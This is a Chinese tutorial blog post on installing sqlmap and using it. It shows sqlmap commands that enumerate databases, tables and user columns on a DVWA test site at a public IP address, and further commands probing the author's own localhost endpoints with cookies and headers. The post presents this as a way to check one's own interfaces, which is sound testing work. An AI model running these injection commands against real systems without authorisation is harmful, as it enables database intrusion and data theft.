数据库
首页 > 数据库> > sqlmap介绍与使用案例

sqlmap介绍与使用案例

作者:互联网

作者:虫儿飞ZLEI
链接:https://www.jianshu.com/p/3d3656be3c60
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

sqlmap介绍与使用案例

1.sqlmap简介

最白话的介绍就是sqlmap是一个工具,一个用来做sql注入攻击的工具

2.windows安装python2

这个sqlmap需要python2才可以正常执行,注意python3不行哦,如果你已经安装了python3,本地同时安装python2和python3,需要注意修改其中一个python执行文件的名字,以便在path中添加环境变量的时候,可以正确区分,详细这里不进行赘述,如果不了解,建议自行百度。

3. windows安装sqlmap

3.1 下载压缩包

在sqlmap的网站上下载对应的压缩文件
http://sqlmap.org/

 

 

 

3.2 解压文件

解压到任意文件夹皆可
解压以后大概是这个样子的

3.3 启动一个命令行,执行sqlmap.py

如果出现这个界面,表示一切正常 

按任意键结束

4. 测试sqlmap功能

4.1 使用DVWA测试网站

4.1.1 关于dvwa

   

这个网站有sql漏洞,专门拿来测试用,不知道是哪位好心人搞出来的

网址是:http://43.247.91.228:81/login.php
登陆的用户名密码是:admin/password

4.1.2 操作

首先登陆成功以后三步走,拿到需要的url

  image.png

拿到url以后,就可以使用这个url来注入了

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"

出现如下结果,则表示sqlmap检测到有可以注入的地方,


   

ps:如果没有检测到可以注入的地方,会显示如下


  image.png

既然检测到有可以注入的地方,现在我们就来通过这个注入来获取一些数据库的信息

获取数据库
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs

可以看到执行以后拿到了数据库的信息


   

再进一步,获取数据库中表的信息

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables

可以看到,拿到了dvwa这个库中的所有表的名字


  image.png

再进一步,获取表中的字段信息

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns

可以看到,拿到了表中的所有字段


   

4.2 使用本地网站

4.2.1 本地网站是本地的项目,现在用本地的项目跑起来来测试sqlmap

主要测试三个url:
http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'
http://localhost:9099/record/user/2019-03-09
127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684

4.2.2 操作--url1

url1:http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3',这是一个post请求,nsrsbh是所需要的参数

执行:

python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'"  --method=POST

可以看到,没有访问到正确的连接,而是被重定向到了登陆的login页面,这是因为这个网站需要登陆,没有登陆的情况访问链接就会被重定向到登陆页面,所以在这里现在浏览器中登陆,然后拿到浏览器的cookie,让sqlmap携带着cookie再去攻击


   

拿到浏览器的cookie

   

执行(携带cookie):

python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST

执行结果:可以看到,并没有找到可以注入的地方


  image.png

观察这个网站的日志,也可以看到,这个接口被调用很多次,都是sqlmap自动调用的,它在尝试寻找可以注入的地方


  image.png

4.2.3 操作--url2

url2:http://localhost:9099/record/user/2019-03-09,这是一个get请求,2019-03-09是restful风格的参数

同样携带cookie执行:

python2 sqlmap.py -u "http://localhost:9099/record/user/2019-03-09" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=GET

执行结果,没有发现可以注入的地方


   

查看网站后台,接口同样被调用多次

   

4.2.3 操作--url3

url3:127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684,这也是一个get请求,但是不同的是,这个接口不需要cookie就可以访问,但是需要携带正确的header才可以执行

携带header执行:

python2 sqlmap.py -u "127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684"  --method=GET --headers="type:pwd\nchannelPwd:f1e7e7f187f84cdfb4784481ed01abd5\nchannelId:FDDX_PWD"

执行结果,没有找到可以注入的地方

 

查看后台,接口同样被调用多次

   

5. 总结

简单的使用就是这样,需要一个url,有的可能需要携带cookie,有的可能需要携带header,
如果找到了注入点,就可以拿到一些数据信息,但是现在的网站通常也比较难找到可以注入的url。
可以通过这种方式来检测自己写的接口是否有被sql注入的风险

关于sqlmap的命令还有更深入的,可以通过-h或者--help来查看更多的指令操作,比如不想每次执行语句的时候都要手动确认一些选择项,可以通过--batch指令,让sqlmap自己去决定。

标签:sqlmap,http,9099,py,介绍,案例,cookie,python2
来源: https://www.cnblogs.com/syj789/p/12635925.html